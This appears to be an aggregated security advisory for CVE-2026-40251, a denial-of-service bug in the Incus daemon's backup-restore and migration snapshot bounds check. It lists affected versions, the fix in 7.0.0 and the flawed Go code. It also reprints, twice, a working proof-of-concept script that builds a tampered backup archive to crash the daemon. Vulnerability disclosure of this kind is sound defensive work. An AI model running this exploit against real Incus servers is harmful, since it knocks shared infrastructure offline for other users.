CVE-2026-40251: Github.com/lxc/incus/v6/cmd/incusd Incus Vulnerable To Panic Vulnerability

HIGH
Advisory Identifier: GHSA-4m88-wxj4-9qj6
CVSS 6.5
CWE-125 CWE-129
Published
Advisory Summary

CVE-2026-40251 is a HIGH (CVSS 6.5) incus vulnerable to panic vulnerability (CWE-125: Out-of-bounds Read) affecting Github.com/lxc/incus/v6/cmd/incusd libraries in the Go ecosystem. The issue involves incus vulnerable to panic via snapshot bounds check. Remediation is available by upgrading affected packages to version 7.0.0.

CVE-2026-40251 at a Glance

CVE Identifier CVE-2026-40251
GHSA Identifier GHSA-4m88-wxj4-9qj6
Severity HIGH
CVSS v3.1 Base Score 6.5
CWE Classification CWE-125: Out-of-bounds Read
Affected Product Github.com/lxc/incus/v6/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-40251

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6/cmd/incusd fixed: 7.0.0
Upgrade github.com/lxc/incus/v6/cmd/incusd to 7.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40251, inspect your project dependencies for Github.com/lxc/incus/v6/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In Github.com/lxc/incus/v6/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service. ### Details The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic. An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node. Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go Affected Code: ``` func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) { [...] postHook := func(inst instance.Instance) error { [...] for i, backupFileSnap := range srcBackup.Snapshots { var volumeSnapDescription string var volumeSnapConfig map[string]string var volumeSnapExpiryDate time.Time var volumeSnapCreationDate time.Time // Check if snapshot volume config is available for restore and matches snapshot name. if srcBackup.Config != nil { if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap { // Use instance snapshot's creation date if snap info available. volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt } if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap { // If the backup restore interface provides volume snapshot config use it, // otherwise use default volume config for the storage pool. volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil { volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt } // Use volume's creation date if available. if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() { volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt } } } [...] } [...] } [...] } [...] func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error { [...] if !isRemoteClusterMove || args.StoragePool != "" { for i, snapshot := range args.Snapshots { snapName := snapshot.GetName() newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName) snapConfig := vol.Config() // Use parent volume config by default. snapDescription := volumeDescription // Use parent volume description by default. snapExpiryDate := time.Time{} snapCreationDate := time.Time{} // If the source snapshot config is available, use that. if srcInfo != nil && srcInfo.Config != nil { if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName { // Use instance snapshot's creation date if snap info available. snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt } if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName { // Check if snapshot volume config is available then use it. snapDescription = srcInfo.Config.VolumeSnapshots[i].Description snapConfig = srcInfo.Config.VolumeSnapshots[i].Config if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil { snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt } // Use volume's creation date if available. if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() { snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt } } } [...] } } [...] } ``` ### PoC The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore. Step 1: Generate a valid backup and tamper with its snapshot metadata From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied. Commands: ``` cat <<'EOF' > poc_snapshot_bounds.sh #!/bin/bash set -e BASE_NAME="base-$(date +%s)" PANIC_NAME="panic-$(date +%s)" incus init images:alpine/edge "$BASE_NAME" --project default incus snapshot create "$BASE_NAME" snap0 --project default incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default mkdir -p extract_snapshot_bounds tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/ chmod -R u+rwX extract_snapshot_bounds/ python3 -c " import os import sys base = '$BASE_NAME' panic = '$PANIC_NAME' with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f: lines = f.read().splitlines() out = [] in_skip = False skip_indent = 0 for line in lines: line = line.replace(base, panic) indent = len(line) - len(line.lstrip()) if in_skip: if not line.strip(): continue if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')): continue else: in_skip = False if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')): out.append(line.split(':')[0] + ': []') in_skip = True skip_indent = indent continue out.append(line) with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f: f.write('\n'.join(out)) " cd extract_snapshot_bounds/ tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/ cd .. rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz" EOF bash poc_snapshot_bounds.sh ``` Result: ``` [+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz ``` Step 2: Trigger the vulnerable restore path From the same Incus client, import the crafted archive. Command: ``` incus import exploit_snapshot_bounds_panic.tar.gz --project default ``` Result: ``` Error: websocket: close 1006 (abnormal closure): unexpected EOF ``` ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

CVE-2026-40251 Affected Github.com/lxc/incus/v6/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.0.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6/cmd/incusd
Go
< 7.0.0
7.0.0

References

Frequently Asked Questions

What is CVE-2026-40251?
CVE-2026-40251 is a security vulnerability in Github.com/lxc/incus/v6/cmd/incusd involving Incus Vulnerable to Panic via Snapshot Bounds Check under CWE-125: Out-of-bounds Read.
Which Github.com/lxc/incus/v6/cmd/incusd versions are affected?
Affected versions include releases prior to 7.0.0 across affected packages: github.com/lxc/incus/v6/cmd/incusd.
What version fixes CVE-2026-40251?
Upgrading to 7.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6/cmd/incusd affected?
Yes, github.com/lxc/incus/v6/cmd/incusd is affected in releases prior to 7.0.0. Upgrade your dependency to 7.0.0 or later.
What is the CVSS score of CVE-2026-40251?
CVE-2026-40251 has a CVSS v3.1 base score of 6.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-40251?
CVE-2026-40251 is classified under CWE-125: Out-of-bounds Read (The product reads data past the end, or before the beginning, of the intended buffer.).
How can I check Go dependencies for CVE-2026-40251?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4m88-wxj4-9qj6",
  "modified" : "2026-05-08T19:26:52Z",
  "published" : "2026-05-04T19:16:25Z",
  "aliases" : [ "CVE-2026-40251" ],
  "summary" : "Incus Vulnerable to Panic via Snapshot Bounds Check",
  "details" : "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.\n\nWhen iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.\n\nAn attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {\n    [...]\n    postHook := func(inst instance.Instance) error {\n        [...]\n        for i, backupFileSnap := range srcBackup.Snapshots {\n            var volumeSnapDescription string\n            var volumeSnapConfig map[string]string\n            var volumeSnapExpiryDate time.Time\n            var volumeSnapCreationDate time.Time\n\n            // Check if snapshot volume config is available for restore and matches snapshot name.\n            if srcBackup.Config != nil {\n                if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {\n                    // Use instance snapshot's creation date if snap info available.\n                    volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt\n                }\n\n                if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {\n                    // If the backup restore interface provides volume snapshot config use it,\n                    // otherwise use default volume config for the storage pool.\n                    volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description\n                    volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config\n\n                    if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {\n                        volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt\n                    }\n\n                    // Use volume's creation date if available.\n                    if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n                        volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt\n                    }\n                }\n            }\n\n            [...]\n        }\n        [...]\n    }\n    [...]\n}\n\n[...]\n\nfunc (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {\n    [...]\n    if !isRemoteClusterMove || args.StoragePool != \"\" {\n        for i, snapshot := range args.Snapshots {\n            snapName := snapshot.GetName()\n            newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)\n            snapConfig := vol.Config()           // Use parent volume config by default.\n            snapDescription := volumeDescription // Use parent volume description by default.\n            snapExpiryDate := time.Time{}\n            snapCreationDate := time.Time{}\n\n            // If the source snapshot config is available, use that.\n            if srcInfo != nil && srcInfo.Config != nil {\n                if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {\n                    // Use instance snapshot's creation date if snap info available.\n                    snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt\n                }\n\n                if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {\n                    // Check if snapshot volume config is available then use it.\n                    snapDescription = srcInfo.Config.VolumeSnapshots[i].Description\n                    snapConfig = srcInfo.Config.VolumeSnapshots[i].Config\n\n                    if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {\n                        snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt\n                    }\n\n                    // Use volume's creation date if available.\n                    if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n                        snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt\n                    }\n                }\n            }\n\n            [...]\n        }\n    }\n    [...]\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.\n\nStep 1: Generate a valid backup and tamper with its snapshot metadata\n\nFrom an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.\n\nCommands:\n```\ncat <<'EOF' > poc_snapshot_bounds.sh\n#!/bin/bash\nset -e\n\nBASE_NAME=\"base-$(date +%s)\"\nPANIC_NAME=\"panic-$(date +%s)\"\n\nincus init images:alpine/edge \"$BASE_NAME\" --project default\nincus snapshot create \"$BASE_NAME\" snap0 --project default\nincus export \"$BASE_NAME\" valid_snapshot_base.tar.gz --project default\n\nmkdir -p extract_snapshot_bounds\ntar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/\nchmod -R u+rwX extract_snapshot_bounds/\n\npython3 -c \"\nimport os\nimport sys\n\nbase = '$BASE_NAME'\npanic = '$PANIC_NAME'\n\nwith open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:\n    lines = f.read().splitlines()\n\nout = []\nin_skip = False\nskip_indent = 0\n\nfor line in lines:\n    line = line.replace(base, panic)\n    indent = len(line) - len(line.lstrip())\n\n    if in_skip:\n        if not line.strip():\n            continue\n        if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):\n            continue\n        else:\n            in_skip = False\n\n    if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):\n        out.append(line.split(':')[0] + ': []')\n        in_skip = True\n        skip_indent = indent\n        continue\n\n    out.append(line)\n\nwith open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:\n    f.write('\\n'.join(out))\n\"\n\ncd extract_snapshot_bounds/\ntar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/\ncd ..\n\nrm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz\necho \"[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\"\nEOF\n\nbash poc_snapshot_bounds.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable restore path\n\nFrom the same Incus client, import the crafted archive.\n\nCommand:\n```\nincus import exploit_snapshot_bounds_panic.tar.gz --project default\n```\n\nResult:\n```\nError: websocket: close 1006 (abnormal closure): unexpected EOF\n```\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40251"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125", "CWE-129" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T19:16:25Z",
    "nvd_published_at" : "2026-05-06T21:16:01Z"
  }
}